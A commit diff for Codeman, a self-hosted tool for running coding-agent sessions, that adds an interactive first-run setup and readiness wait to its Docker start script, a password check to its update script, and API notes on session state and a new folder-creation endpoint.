Set `CODEMAN_APPDATA_PATH` in `.env` to a directory that the Docker daemon can access. The example value is `/mnt/user/appdata/codeman`.
Set `CODEMAN_APPDATA_PATH` in `.env` to a directory that the Docker daemon can access. The example value is `/mnt/user/appdata/codeman` (an Unraid layout); the first run of `Start-Codeman.sh` suggests `~/codeman-docker` instead.
`CODEMAN_CASES_PATH` is the separate host directory for managed case workspaces. It is mounted into Codeman at the same absolute path, allowing the host Docker daemon to bind it into an isolated case container. Set it to a child directory of `CODEMAN_APPDATA_PATH` unless you deliberately store workspaces elsewhere.
+667 -19
View File
@@ -1,17 +1,479 @@
#!/usr/bin/env bash
#
# Sets up (on the first run) and starts the Docker Compose deployment.
#
# A new install is two commands, from a fresh clone:
#
# git clone https://github.com/Ark0N/Codeman.git && cd Codeman
# bash docker/Start-Codeman.sh
#
# With no docker/.env yet, this asks three questions (data folder, port,
# password; Enter takes the default each time), writes docker/.env from
# .env.example, builds the image, starts the container, waits until Codeman
# answers and prints the URL to open. Every later run (after a `git pull`, or
# when the in-app updater asks for it) skips the questions and rebuilds and
# restarts the stack.
#
# Usage: bash docker/Start-Codeman.sh [--yes] [--setup-only] [--no-wait]
# --yes, -y First run: take every default without asking. Also what
# happens when no terminal is attached.
# --setup-only Write docker/.env and stop, so it can be reviewed first.
# --no-wait Do not wait for Codeman to answer after starting it.
#
# A first run takes its defaults from CODEMAN_APPDATA_PATH, CODEMAN_PORT and
# CODEMAN_PASSWORD when they are set in the environment.
#
# Bash 3.2 clean on purpose: Docker Desktop on macOS runs this with
# /bin/bash 3.2 (no ${x,,}, mapfile, associative arrays or here-strings).
set -euo pipefail
script_dir=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)
env_file="$script_dir/.env"
example_file="$script_dir/.env.example"
compose_file="$script_dir/docker-compose.yaml"
if [[ ! -f "$env_file" ]]; then
printf 'Error: Docker environment file is missing: %s\n' "$env_file" >&2
printf 'Create it from %s/.env.example before starting Codeman.\n' "$script_dir" >&2
assume_yes=0
setup_only=0
no_wait=0
for arg in "$@"; do
case "$arg" in
--yes | -y) assume_yes=1 ;;
--setup-only) setup_only=1 ;;
--no-wait) no_wait=1 ;;
--help | -h)
printf 'Usage: bash %s [--yes] [--setup-only] [--no-wait]\n' "$0"
printf ' --yes, -y First run: take every default without asking\n'
printf ' --setup-only Write docker/.env and stop, so it can be reviewed first\n'
printf ' --no-wait Do not wait for Codeman to answer after starting it\n'
exit 0
;;
*)
printf 'Error: unrecognised argument: %s\n' "$arg" >&2
printf 'Usage: bash %s [--yes] [--setup-only] [--no-wait]\n' "$0" >&2
exit 1
;;
esac
done
# ── Preflight ────────────────────────────────────────────────────────────────
# The three things a new machine most often lacks, each named with its fix
# before anything else runs (a missing daemon used to surface as a bare Compose
# error from the first `config` call below).
# PURE: is dotted version $1 older than $2? An unparseable $1 is never "older":
# the `config --environment` failure handler below still catches a real miss.
version_older_than() {
local re='^([0-9]+)\.([0-9]+)\.([0-9]+)'
local a b c x y z
[[ "$1" =~ $re ]] || return 1
a=$((10#${BASH_REMATCH[1]})) b=$((10#${BASH_REMATCH[2]})) c=$((10#${BASH_REMATCH[3]}))
[[ "$2" =~ $re ]] || return 1
x=$((10#${BASH_REMATCH[1]})) y=$((10#${BASH_REMATCH[2]})) z=$((10#${BASH_REMATCH[3]}))
if ((a != x)); then
((a < x))
return
fi
if ((b != y)); then
((b < y))
return
fi
((c < z))
}
# `docker compose config --environment`, which everything below reads the
# settings through, first shipped in Compose v2.27.2 (docker/compose#11891).
min_compose_version='2.27.2'
if ! command -v docker >/dev/null 2>&1; then
printf 'Error: Docker is not installed (no `docker` command on PATH).\n' >&2
printf 'Install Docker Engine (Linux: https://docs.docker.com/engine/install/) or\n' >&2
printf 'Docker Desktop (macOS, Windows), then rerun this script.\n' >&2
exit 1
fi
if ! docker compose version >/dev/null 2>&1; then
printf 'Error: the Docker Compose v2 plugin is missing (`docker compose version` failed).\n' >&2
if command -v docker-compose >/dev/null 2>&1; then
printf 'The standalone `docker-compose` found on PATH is not a substitute for it.\n' >&2
fi
printf 'Install it from https://docs.docker.com/compose/install/linux/\n' >&2
printf '(Debian/Ubuntu with Docker'"'"'s apt repository: sudo apt-get install docker-compose-plugin).\n' >&2
exit 1
fi
compose_version=$(docker compose version --short 2>/dev/null || true)
compose_version=${compose_version#v}
if version_older_than "$compose_version" "$min_compose_version"; then
printf 'Error: Docker Compose %s is too old; Codeman needs %s or newer.\n' \
"$compose_version" "$min_compose_version" >&2
printf 'Update the Compose plugin (https://docs.docker.com/compose/install/linux/), then rerun.\n' >&2
exit 1
fi
# `docker version`, not `docker info`: on CLI 24 through 27 `info --format` exits
# 0 with the daemon unreachable (measured on 27.5.1), so this check never fired.
if ! docker_error=$(docker version --format '{{.Server.Version}}' 2>&1 >/dev/null); then
case "$docker_error" in
*[Pp]ermission\ denied*)
account=$(id -un 2>/dev/null || printf 'your account')
printf 'Error: %s is not allowed to use Docker yet.\n' "$account" >&2
printf 'Add it to the docker group, then log out and back in (or run `newgrp docker`):\n' >&2
printf ' sudo usermod -aG docker %s\n' "$account" >&2
printf 'Prefer that over running this script with sudo: Codeman'"'"'s data folder has to\n' >&2
printf 'belong to a normal account, and a first run refuses to set it up as root.\n' >&2
;;
*)
printf 'Error: the Docker daemon is not reachable. Start it (Linux: sudo systemctl start\n' >&2
printf 'docker; macOS and Windows: open Docker Desktop), then rerun this script.\n' >&2
printf 'Docker said: %s\n' "$docker_error" >&2
;;
esac
exit 1
fi
# ── First-run setup ──────────────────────────────────────────────────────────
# Runs only while docker/.env does not exist, and never edits an existing one.
# The file is generated FROM .env.example (its KEY= lines rewritten in place),
# so every key the example sets is present: the in-app updater refuses an
# update while the user's .env lacks a key the target release's example sets
# (diffRequiredEnvKeys, src/web/self-update.ts), and a hand-picked subset would
# trip that on the very next release.
first_run=0
generated_password=''
is_interactive() {
[[ "$assume_yes" != '1' && "${CODEMAN_NONINTERACTIVE:-0}" != '1' && -t 0 ]]
}
# Reads one answer into $answer (with -s, without echo). End of input (Ctrl+D)
# cancels the setup rather than looping on a default that was just refused.
ask() {
if ! IFS= read -r "$@" answer; then
printf '\nSetup cancelled; nothing was written.\n' >&2
exit 1
fi
}
# True when something on this host already accepts connections on the port.
# bash's /dev/tcp needs no extra tool on Linux or macOS.
port_in_use() {
(exec 3<>"/dev/tcp/127.0.0.1/$1") 2>/dev/null || (exec 3<>"/dev/tcp/::1/$1") 2>/dev/null
}
first_free_port() {
local port=$1
local last=$(($1 + 99))
while ((port <= last)); do
if ! port_in_use "$port"; then
printf '%s' "$port"
return 0
fi
port=$((port + 1))
done
printf '%s' "$1"
}
host_timezone() {
local tz='' re='^[A-Za-z0-9_+/-]+$'
if [[ -r /etc/timezone ]]; then
tz=$(head -n1 /etc/timezone 2>/dev/null) || tz=''
fi
if [[ -z "$tz" ]] && command -v timedatectl >/dev/null 2>&1; then
tz=$(timedatectl show -p Timezone --value 2>/dev/null) || tz=''
fi
if [[ -z "$tz" && -L /etc/localtime ]]; then
tz=$(readlink /etc/localtime 2>/dev/null) || tz=''
tz=${tz##*zoneinfo/}
fi
if [[ ! "$tz" =~ $re ]]; then
tz='Etc/UTC'
fi
printf '%s' "$tz"
}
generate_password() {
local pw=''
# `|| true`: head closing the pipe early is the normal case, not a failure.
pw=$(LC_ALL=C tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c 24) || true
if ((${#pw} != 24)) && command -v openssl >/dev/null 2>&1; then
pw=$(openssl rand -base64 48 | LC_ALL=C tr -dc 'A-Za-z0-9' | head -c 24) || true
fi
if ((${#pw} != 24)); then
printf 'Error: could not generate a password; set CODEMAN_PASSWORD and rerun.\n' >&2
exit 1
fi
printf '%s' "$pw"
}
# Compose reads .env values with its own dotenv rules: `$` interpolates and an
# unquoted ` #` starts a comment. A single-quoted value is taken literally, so
# anything beyond plain path characters is written that way. It cannot hold a
# single quote, and a backslash just before the closing quote escapes that quote,
# so the whole file fails to parse: the accept_* checks below refuse both.
env_quote() {
local re='^[A-Za-z0-9._/@:+-]*$'
if [[ "$1" =~ $re ]]; then
printf '%s' "$1"
else
printf "'%s'" "$1"
fi
}
repo_root=$(cd -- "$script_dir/.." && pwd)
# Sets setup_appdata, or says why the answer cannot be used and returns 1.
accept_appdata_path() {
local p=$1
case "$p" in
'~') p=$HOME ;;
'~/'*) p="$HOME/${p#\~/}" ;;
esac
while [[ "$p" == *//* ]]; do
p=${p//\/\//\/}
done
while [[ "$p" == */ && "$p" != / ]]; do
p=${p%/}
done
case "$p" in
*"'"* | *$'\n'*)
printf ' The path cannot contain a single quote or a line break.\n' >&2
return 1
;;
*\\)
printf ' The path cannot end in a backslash.\n' >&2
return 1
;;
esac
if [[ "$p" != /* ]]; then
printf ' Use an absolute path, one that starts with /.\n' >&2
return 1
fi
# The refusals below compare strings, so a dot segment could spell any folder
# they exist to keep out.
case "$p/" in
*/./* | */../*)
printf ' Spell the path out, without . or .. in it.\n' >&2
return 1
;;
esac
# The folder becomes the container's home directory, so its `.codeman` is
# the server's state directory: $HOME itself would share state.json with a
# Codeman installed directly on this machine.
if [[ "$p" == / || "$p" == "$HOME" ]]; then
printf ' Pick a folder of its own; it becomes the container'"'"'s home directory.\n' >&2
return 1
fi
if [[ "$p" == "$HOME/.codeman" || "$p" == "$HOME/.codeman/"* ]]; then
printf ' %s belongs to a Codeman installed directly on this machine; pick another folder.\n' "$HOME/.codeman" >&2
return 1
fi
# Inside the checkout it would sit in the image build context (COPY . .),
# CLI logins and all.
if [[ "$p" == "$repo_root" || "$p" == "$repo_root/"* ]]; then
printf ' Pick a folder outside %s; that folder is copied into the image when it is built.\n' "$repo_root" >&2
return 1
fi
setup_appdata=$p
}
accept_port() {
local re='^[0-9]+$'
if [[ ! "$1" =~ $re ]] || ((10#$1 < 1 || 10#$1 > 65535)); then
printf ' Use a port number from 1 to 65535.\n' >&2
return 1
fi
setup_port=$((10#$1))
}
accept_password() {
case "$1" in
*"'"* | *$'\n'*)
printf ' The password cannot contain a single quote or a line break.\n' >&2
return 1
;;
*\\)
printf ' The password cannot end in a backslash.\n' >&2
return 1
;;
esac
if ((${#1} < 8)); then
printf ' Use at least 8 characters.\n' >&2
return 1
fi
if [[ "$1" == 'changeme' ]]; then
printf ' That is the published example password; pick another.\n' >&2
return 1
fi
setup_password=$1
}
write_env_file() {
local tmp="$env_file.tmp.$$" line
(
umask 077
{
printf '# Written by Start-Codeman.sh on its first run, from .env.example.\n'
printf '# Change any value here, then rerun: bash docker/Start-Codeman.sh\n'
printf '\n'
while IFS= read -r line || [[ -n "$line" ]]; do
case "$line" in
TZ=*) printf 'TZ=%s\n' "$(env_quote "$setup_tz")" ;;
CODEMAN_APPDATA_PATH=*) printf 'CODEMAN_APPDATA_PATH=%s\n' "$(env_quote "$setup_appdata")" ;;
CODEMAN_CASES_PATH=*) printf 'CODEMAN_CASES_PATH=%s\n' "$(env_quote "$setup_cases")" ;;
CODEMAN_PORT=*) printf 'CODEMAN_PORT=%s\n' "$setup_port" ;;
CODEMAN_PASSWORD=*) printf 'CODEMAN_PASSWORD=%s\n' "$(env_quote "$setup_password")" ;;
*) printf '%s\n' "$line" ;;
esac
done <"$example_file"
} >"$tmp"
)
chmod 600 "$tmp"
mv -- "$tmp" "$env_file"
}
run_first_run_setup() {
local answer again default_appdata default_port port_note='' password_note username
if [[ "$EUID" == '0' ]]; then
printf 'Error: %s does not exist yet, and the first-run setup does not run as root.\n' "$env_file" >&2
printf 'Run it as the normal account that should own Codeman'"'"'s data (that account\n' >&2
printf 'needs to be in the docker group). On a root-only host such as Unraid, copy\n' >&2
printf '%s to %s by hand instead,\n' "$example_file" "$env_file" >&2
printf 'point CODEMAN_APPDATA_PATH at a folder an unprivileged account owns, set\n' >&2
printf 'CODEMAN_PASSWORD, and rerun.\n' >&2
exit 1
fi
if [[ ! -f "$example_file" ]]; then
printf 'Error: %s is missing, so there is nothing to build docker/.env from.\n' "$example_file" >&2
exit 1
fi
default_appdata=${CODEMAN_APPDATA_PATH:-$HOME/codeman-docker}
if [[ -n "${CODEMAN_PORT:-}" ]]; then
default_port=$CODEMAN_PORT
else
default_port=$(first_free_port 3000)
if [[ "$default_port" != '3000' ]]; then
port_note=' (3000 is already taken on this machine)'
fi
fi
setup_tz=$(host_timezone)
username=$(sed -n 's/^CODEMAN_USERNAME=//p' "$example_file" | head -n1)
printf '\nCodeman Docker setup\n'
printf 'There is no docker/.env yet, so this first run writes one. Enter takes the [default].\n\n'
if is_interactive; then
while :; do
printf ' Data folder (state, CLI logins, projects) [%s]: ' "$default_appdata"
ask
if [[ -z "$answer" ]]; then
answer=$default_appdata
fi
if accept_appdata_path "$answer"; then
break
fi
done
while :; do
printf ' Port [%s]%s: ' "$default_port" "$port_note"
ask
if [[ -z "$answer" ]]; then
answer=$default_port
fi
if accept_port "$answer"; then
break
fi
done
if [[ -n "${CODEMAN_PASSWORD:-}" ]]; then
accept_password "$CODEMAN_PASSWORD" || exit 1
printf ' Password: taken from CODEMAN_PASSWORD\n'
else
while :; do
printf ' Password [Enter generates a strong one]: '
ask -s
printf '\n'
if [[ -z "$answer" ]]; then
setup_password=$(generate_password)
generated_password=$setup_password
break
fi
if ! accept_password "$answer"; then
continue
fi
printf ' Repeat the password: '
again=$answer
ask -s
printf '\n'
if [[ "$again" == "$answer" ]]; then
break
fi
printf ' The two entries differ; try again.\n' >&2
done
fi
else
printf ' No questions asked (no terminal attached, or --yes): taking the defaults.\n'
accept_appdata_path "$default_appdata" || exit 1
accept_port "$default_port" || exit 1
if [[ -n "${CODEMAN_PASSWORD:-}" ]]; then
accept_password "$CODEMAN_PASSWORD" || exit 1
else
setup_password=$(generate_password)
generated_password=$setup_password
fi
fi
if port_in_use "$setup_port"; then
printf ' Note: something on this machine already listens on port %s, so starting will\n' "$setup_port" >&2
printf ' fail until it stops or CODEMAN_PORT in docker/.env names a free port.\n' >&2
fi
setup_cases="$setup_appdata/codeman-cases"
write_env_file
first_run=1
# Compose prefers the shell environment over the env file, so a preset still
# exported here would beat a different typed answer: docker/.env and the
# summary would name one folder and port and the stack would run on another.
unset TZ CODEMAN_APPDATA_PATH CODEMAN_CASES_PATH CODEMAN_PORT CODEMAN_PASSWORD
# A generated password goes to a terminal only: a captured log would be a
# weaker copy of a credential that controls Docker on this host.
if [[ -z "$generated_password" ]]; then
password_note='the one you chose'
elif [[ -t 1 ]]; then
password_note="$generated_password (generated; it stays in docker/.env)"
else
password_note='generated; read it from docker/.env'
fi
printf '\nWrote %s (readable only by you):\n' "$env_file"
printf ' Data folder %s\n' "$setup_appdata"
printf ' Projects %s\n' "$setup_cases"
printf ' Port %s\n' "$setup_port"
printf ' Time zone %s\n' "$setup_tz"
printf ' Username %s\n' "${username:-admin}"
printf ' Password %s\n' "$password_note"
printf 'Everything else in it is optional (Git identity, private repositories, reverse\n'
printf 'proxy); docker/README.md explains each setting.\n\n'
}
if [[ ! -e "$env_file" && ! -L "$env_file" ]]; then
run_first_run_setup
elif [[ ! -f "$env_file" ]]; then
# A dangling symlink or a directory is not "no .env yet": setup would replace
# the link, or leave its password file inside the directory and run again on
# every start.
printf 'Error: %s exists but is not a regular file.\n' "$env_file" >&2
printf 'Move it out of the way or repoint it, then rerun this script.\n' >&2
exit 1
elif [[ "$setup_only" == '1' ]]; then
printf '%s already exists; the setup only runs when it does not, and never edits it.\n' "$env_file"
fi
if [[ "$setup_only" == '1' ]]; then
printf 'Start Codeman with: bash %s\n' "$script_dir/Start-Codeman.sh"
exit 0
fi
# Naming a Compose file explicitly disables Compose's automatic discovery of
# the override file, so it has to be added back by hand. Without this, local
# customisation in docker-compose.override.yml is silently ignored. The
@@ -32,18 +494,54 @@ for override_file in "$override_yml" "$override_yaml"; do
fi
done
compose_command=(docker compose --env-file "$env_file" "${compose_files[@]}")
appdata_path=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_APPDATA_PATH" { sub(/^[^=]*=/, ""); print; exit }'
)
cases_path=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_CASES_PATH" { sub(/^[^=]*=/, ""); print; exit }'
)
docker_socket=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "DOCKER_SOCKET" { sub(/^[^=]*=/, ""); print; exit }'
)
# Every setting is read through Compose's own resolution (shell environment over
# .env, quoting, interpolation), once. A failure is reported here with what
# Compose said, instead of `set -e` ending the script at an empty value.
compose_stderr=$(mktemp "${TMPDIR:-/tmp}/codeman-compose.XXXXXX")
if ! compose_environment=$("${compose_command[@]}" config --environment 2>"$compose_stderr"); then
if grep -q -- 'unknown flag: --environment' "$compose_stderr"; then
printf 'Error: this Docker Compose (%s) is too old; Codeman needs %s or newer.\n' \
"${compose_version:-unknown version}" "$min_compose_version" >&2
else
cat -- "$compose_stderr" >&2
printf 'Error: `docker compose config` could not read %s and the Compose files (see above).\n' "$env_file" >&2
fi
rm -f -- "$compose_stderr"
exit 1
fi
# Compose's own warnings (an unset variable, say) still reach the terminal, once.
cat -- "$compose_stderr" >&2
rm -f -- "$compose_stderr"
# No early `exit` in the awk program: it reads all of its input, so printf never
# meets a closed pipe (a SIGPIPE would end the script under pipefail).
compose_env_value() {
printf '%s\n' "$compose_environment" |
awk -F= -v key="$1" '$1 == key && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
}
appdata_path=$(compose_env_value CODEMAN_APPDATA_PATH)
cases_path=$(compose_env_value CODEMAN_CASES_PATH)
docker_socket=$(compose_env_value DOCKER_SOCKET)
codeman_port=$(compose_env_value CODEMAN_PORT)
codeman_username=$(compose_env_value CODEMAN_USERNAME)
codeman_password=$(compose_env_value CODEMAN_PASSWORD)
# The container publishes its port on every interface and holds the host's
# Docker socket, so whoever signs in to Codeman can run anything on this host.
# The example's placeholder is a published password: refuse it outright.
if [[ "$codeman_password" == 'changeme' ]]; then
printf 'Error: CODEMAN_PASSWORD is still the example value "changeme".\n' >&2
printf 'Codeman is reachable from your network and controls Docker on this machine, so\n' >&2
printf 'set a real password in %s, then rerun this script.\n' "$env_file" >&2
exit 1
fi
if [[ -z "$codeman_password" ]]; then
printf 'Warning: CODEMAN_PASSWORD is empty, so anyone who can reach port %s can use Codeman,\n' "${codeman_port:-?}" >&2
printf 'which controls Docker on this machine. Set one in %s unless something in front of it\n' "$env_file" >&2
printf 'already asks for a login.\n' >&2
fi
unset codeman_password
if [[ -z "$appdata_path" ]]; then
printf 'Error: CODEMAN_APPDATA_PATH is not set in %s\n' "$env_file" >&2
@@ -56,7 +554,11 @@ if [[ ! -d "$appdata_path" ]]; then
printf 'Create it as the unprivileged account that should run Codeman, then retry.\n' >&2
exit 1
fi
mkdir -p -- "$appdata_path"
if ! mkdir -p -- "$appdata_path"; then
printf 'Error: cannot create CODEMAN_APPDATA_PATH: %s\n' "$appdata_path" >&2
printf 'Create it as the account that should run Codeman, or pick another folder in %s.\n' "$env_file" >&2
exit 1
fi
fi
if [[ -z "$cases_path" ]]; then
@@ -114,6 +616,7 @@ fi
if [[ -z "$docker_socket" || ! -S "$docker_socket" ]]; then
printf 'Error: DOCKER_SOCKET is not a Unix socket: %s\n' "${docker_socket:-<unset>}" >&2
printf 'Set DOCKER_SOCKET in %s to the socket your Docker daemon listens on.\n' "$env_file" >&2
exit 1
fi
@@ -209,6 +712,148 @@ else
printf 'Warning: no sha256 tool found; in-app updates will not detect environment changes.\n' >&2
fi
# ── Start, then wait until Codeman answers ──────────────────────────────────
# `up -d` returns as soon as the container exists, which says nothing about the
# server inside it. The wait asks the server itself through `docker exec` (the
# same request as the compose healthcheck, which first runs only after its 30 s
# interval), notices a crash loop by the restart count moving, and ends on the
# URL to open. Docker's own view works with any network setup, macvlan included.
logs_hint="cd $(printf '%q' "$script_dir") && docker compose logs -f codeman"
# Docker's own output above says what broke; this adds the next step. A first
# build fetches hundreds of packages, so a network hiccup is the usual cause of
# a failed build, and a rerun picks up from Docker's layer cache.
compose_failed() {
printf '\nError: `docker compose %s` failed (see the output above).\n' "$1" >&2
case "$1" in
build)
printf 'A network hiccup while building is the usual cause; rerunning this script\n' >&2
printf 'resumes from Docker'"'"'s cache.\n' >&2
;;
*--build*)
printf 'If it stopped while building the image, a network hiccup is the usual cause,\n' >&2
printf 'and rerunning this script resumes from Docker'"'"'s cache.\n' >&2
;;
esac
exit 1
}
lan_ip() {
local ip=''
if [[ "$(uname -s)" == 'Darwin' ]]; then
ip=$(ipconfig getifaddr en0 2>/dev/null || ipconfig getifaddr en1 2>/dev/null) || ip=''
else
# The address the default route leaves from: the first one `hostname -I`
# lists is often docker0 or a VPN interface.
ip=$(ip -4 route get 1.1.1.1 2>/dev/null | sed -n 's/.* src \([0-9.]*\).*/\1/p') || ip=''
ip=${ip%%$'\n'*}
if [[ -z "$ip" ]]; then
ip=$(hostname -I 2>/dev/null) || ip=''
ip=${ip%% *}
fi
fi
printf '%s' "$ip"
}
print_access_summary() {
local cid=$1 published host_port bind_host lan addresses dir_q
dir_q=$(printf '%q' "$script_dir")
published=$("${compose_command[@]}" port codeman "$codeman_port" 2>/dev/null) || published=''
published=${published%%$'\n'*}
printf '\n'
if [[ -n "$published" ]]; then
host_port=${published##*:}
bind_host=${published%:*}
printf ' Open http://localhost:%s\n' "$host_port"
case "$bind_host" in
127.0.0.1 | '[::1]' | ::1) ;;
*)
lan=$(lan_ip)
if [[ -n "$lan" ]]; then
printf ' http://%s:%s (from other devices on your network)\n' "$lan" "$host_port"
fi
;;
esac
else
addresses=$(docker inspect --format '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' "$cid" 2>/dev/null) || addresses=''
printf ' Open http://<container address>:%s (no host port is published; container addresses: %s)\n' \
"$codeman_port" "${addresses:-unknown}"
fi
printf ' Sign in %s, with the CODEMAN_PASSWORD from %s\n' "${codeman_username:-admin}" "$env_file"
if [[ -n "$generated_password" && -t 1 ]]; then
printf ' Password %s (generated on this first run)\n' "$generated_password"
fi
if [[ "$first_run" == '1' ]]; then
printf '\n Next: start a session from the dashboard and log its CLI in once. Logins are\n'
printf ' kept in %s, so they survive rebuilds.\n' "$appdata_path"
fi
printf '\n'
printf ' Logs cd %s && docker compose logs -f codeman\n' "$dir_q"
printf ' Stop cd %s && docker compose down\n' "$dir_q"
printf ' Update App Settings > Updates in the dashboard, or git pull and rerun this script\n'
}
report_when_ready() {
local cid state status health restarts first_restarts='' waited=0 limit=180 probe dots=0
cid=$("${compose_command[@]}" ps -q codeman 2>/dev/null) || cid=''
cid=${cid%%$'\n'*}
if [[ -z "$cid" ]]; then
printf 'Error: Compose started no codeman container. Look at: %s\n' "$logs_hint" >&2
return 1
fi
if [[ "$no_wait" == '1' ]]; then
printf '\nCodeman is starting (--no-wait given, so not waiting for it).\n'
print_access_summary "$cid"
return 0
fi
if [[ -t 1 ]]; then
dots=1
fi
probe="fetch('http://127.0.0.1:${codeman_port}/api/status').then((r) => process.exit(r.status < 500 ? 0 : 1)).catch(() => process.exit(1))"
printf 'Waiting for Codeman to answer...'
while :; do
state=$(docker inspect --format '{{.State.Status}}|{{if .State.Health}}{{.State.Health.Status}}{{end}}|{{.RestartCount}}' "$cid" 2>/dev/null) || state='missing||0'
status=${state%%|*}
health=${state#*|}
health=${health%%|*}
restarts=${state##*|}
if [[ -z "$first_restarts" ]]; then
first_restarts=$restarts
fi
if [[ "$health" == 'healthy' ]] ||
{ [[ "$status" == 'running' ]] && docker exec "$cid" node -e "$probe" >/dev/null 2>&1; }; then
printf ' ready.\n'
print_access_summary "$cid"
return 0
fi
if [[ "$status" == 'exited' || "$status" == 'dead' || "$status" == 'missing' || "$status" == 'restarting' ||
"$health" == 'unhealthy' || "$restarts" != "$first_restarts" ]]; then
printf '\n'
printf 'Error: Codeman did not come up (container %s). Its last log lines:\n\n' "${status:-unknown}" >&2
"${compose_command[@]}" logs --tail 40 codeman >&2 || true
printf '\nFollow the full log with: %s\n' "$logs_hint" >&2
return 1
fi
if ((waited >= limit)); then
printf '\n'
printf 'Warning: Codeman has not answered after %s seconds. It may still be starting;\n' "$limit" >&2
printf 'follow it with: %s\n' "$logs_hint" >&2
return 1
fi
if ((dots)); then
printf '.'
fi
sleep 2
waited=$((waited + 2))
done
}
if [[ "$first_run" == '1' ]]; then
printf 'Building the image. The first build downloads and compiles everything and takes a\n'
printf 'few minutes; later starts reuse most of it.\n'
fi
# codeman-node-modules and codeman-dist (docker-compose.yaml) are seeded from
# the image only while EMPTY, so a rebuilt image's fresh output sits unused
# behind old volume content until something clears it. The in-app self-updater
@@ -235,7 +880,9 @@ if [[ -n "$dockerfile_sha" ]]; then
fi
if [[ ${#volumes_to_refresh[@]} -eq 0 ]]; then
exec "${compose_command[@]}" up --build -d
"${compose_command[@]}" up --build -d || compose_failed 'up --build'
report_when_ready || exit 1
exit 0
fi
# Runs even on this script's very first invocation against an EXISTING
@@ -247,7 +894,7 @@ printf 'Source changed since the last start; refreshing: %s\n' "${volumes_to_ref
# Build BEFORE taking the stack down: the image build is the slow part and needs
# no container stopped, so the deployment is offline only for the recreate.
"${compose_command[@]}" build
"${compose_command[@]}" build || compose_failed build
# `com.docker.compose.volume` is the volume KEY, not a project-qualified name -
# a second stack on the same host (a beta instance started with a different
@@ -306,4 +953,5 @@ fi
# Already built above, so no --build here: a second build would only re-check
# the cache.
exec "${compose_command[@]}" up -d
"${compose_command[@]}" up -d || compose_failed up
report_when_ready || exit 1
+19 -2
View File
@@ -166,10 +166,11 @@ fi
# appdata directory (which creates it): this script updates an EXISTING
# deployment, so a missing appdata path means there is nothing here yet to
# update, and creating one would just be this script quietly doing
# Start-Codeman.sh's first-run job worse.
# Start-Codeman.sh's first-run job worse. No early `exit` in awk: a closed pipe
# would end this script through pipefail, with no message.
appdata_path=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_APPDATA_PATH" { sub(/^[^=]*=/, ""); print; exit }'
awk -F= '$1 == "CODEMAN_APPDATA_PATH" && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
)
if [[ -z "$appdata_path" || ! -d "$appdata_path" ]]; then
printf 'Error: CODEMAN_APPDATA_PATH is not set or does not exist: %s\n' "${appdata_path:-<unset>}" >&2
@@ -177,6 +178,22 @@ if [[ -z "$appdata_path" || ! -d "$appdata_path" ]]; then
exit 1
fi
# Start-Codeman.sh refuses to start while the password is still the example's
# `changeme`. Checked here too, BEFORE the build and the `down` below: found
# only at the handoff, that refusal would leave the stack this script just
# stopped down. No early `exit` in awk, so printf never meets a closed pipe.
codeman_password=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_PASSWORD" && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
)
if [[ "$codeman_password" == 'changeme' ]]; then
printf 'Error: CODEMAN_PASSWORD is still the example value "changeme".\n' >&2
printf 'Codeman is reachable from your network and controls Docker on this machine, so\n' >&2
printf 'set a real password in %s, then rerun this script. Nothing was stopped.\n' "$env_file" >&2
exit 1
fi
unset codeman_password
# `stat -c` is GNU, `stat -f` is BSD/macOS; the bind source lives on the Docker
# host, so both need to work. Identical to Start-Codeman.sh's own helper.
owner_of() {
+234 -13
View File
@@ -287,7 +287,8 @@ long turn, but a worker that never comes back is far more likely to be working t
blocked, and polling `blocked` alone will sit at its timeout.
**`blocked` on `codex` is read off the screen**, because codex has no hooks and is
launched with its approvals on unless `codexConfig.dangerouslyBypassApprovals` is set.
launched with its approvals on unless `codexConfig.dangerouslyBypassApprovals` is set
(`codexConfig.networkAccess` opens the sandbox's network and does not change that).
A codex pane showing a command, edit or network approval, a question (`request_user_input`)
or the startup trust prompt raises `blocked` (plus the red alert, push and webhook a Claude
`permission_prompt` raises, alert-only: answer it in the terminal), and the session reads
@@ -900,6 +901,16 @@ already serves non-media text inert (`text/plain`, `nosniff`), so this just
keeps the server from storing what it would serve or an agent could run, and
html and svg are the ones deliberately kept out.
## New folder in the path picker
`POST /api/filesystem/mkdir` with `{ path, name, sessionId?, showHidden? }` makes one
folder directly inside `path`, which must be a folder the path picker may browse, and
answers `{ path }`. `name` is one path segment (letters, numbers, spaces and `_ - . ~`, not
starting with a dot or `~`). `400` for a cases folder (use Add Case → Create New or Clone
Repo with no custom folder) or a `path` that is not a directory, `403` for a blocked tree
or a `path` outside the browse roots, `404` for a `path` that does not exist, `409` when
the folder already exists, and `422` when the mount under `path` does not answer.
## Rendered HTML files
An `.html`/`.htm` file renders as a page in a sandbox, in two steps
@@ -969,6 +980,56 @@ also pure decoration: it confers no permission, and a child is unaffected by its
parent exiting. It appears on session state as `parentSessionId` (absent when
unresolved) and survives a server restart.
## Pane directory (`paneCwd`)
Session state (`GET /api/v1/sessions`, the `session:updated` event) may carry `paneCwd`,
the directory the session's local tmux pane is in now (`#{pane_current_path}`), which
the web UI uses as the base for a relative path printed in the terminal. It is
never restored after a restart (it is written to `state.json` with the rest of the
session state but not read back), absent for remote,
Docker, adopted, direct-PTY and rediscovered sessions and for a session split into several panes,
and never a confinement root: file routes stay confined to `workingDir`.
tmux reports the resolved directory, so for a workspace reached through a symlink a
directory at or under the resolved workspace is reported in `workingDir`'s spelling.
## Live worktree (`liveWorktree`)
Session state (`GET /api/v1/sessions`, the `session:updated` event) may carry `liveWorktree`,
the linked git worktree the session's pane is in now, for example after Claude Code's
EnterWorktree moved the running session:
```json
"liveWorktree": { "name": "feature-a", "path": "/home/me/repo/.claude/worktrees/feature-a" }
```
It is derived from `paneCwd`, so it is absent wherever that is, and it is only ever a folder
strictly below `workingDir`: a worktree elsewhere is never reported. `path` is in `workingDir`'s
spelling. Like `paneCwd` it is never restored after a restart and never a confinement root.
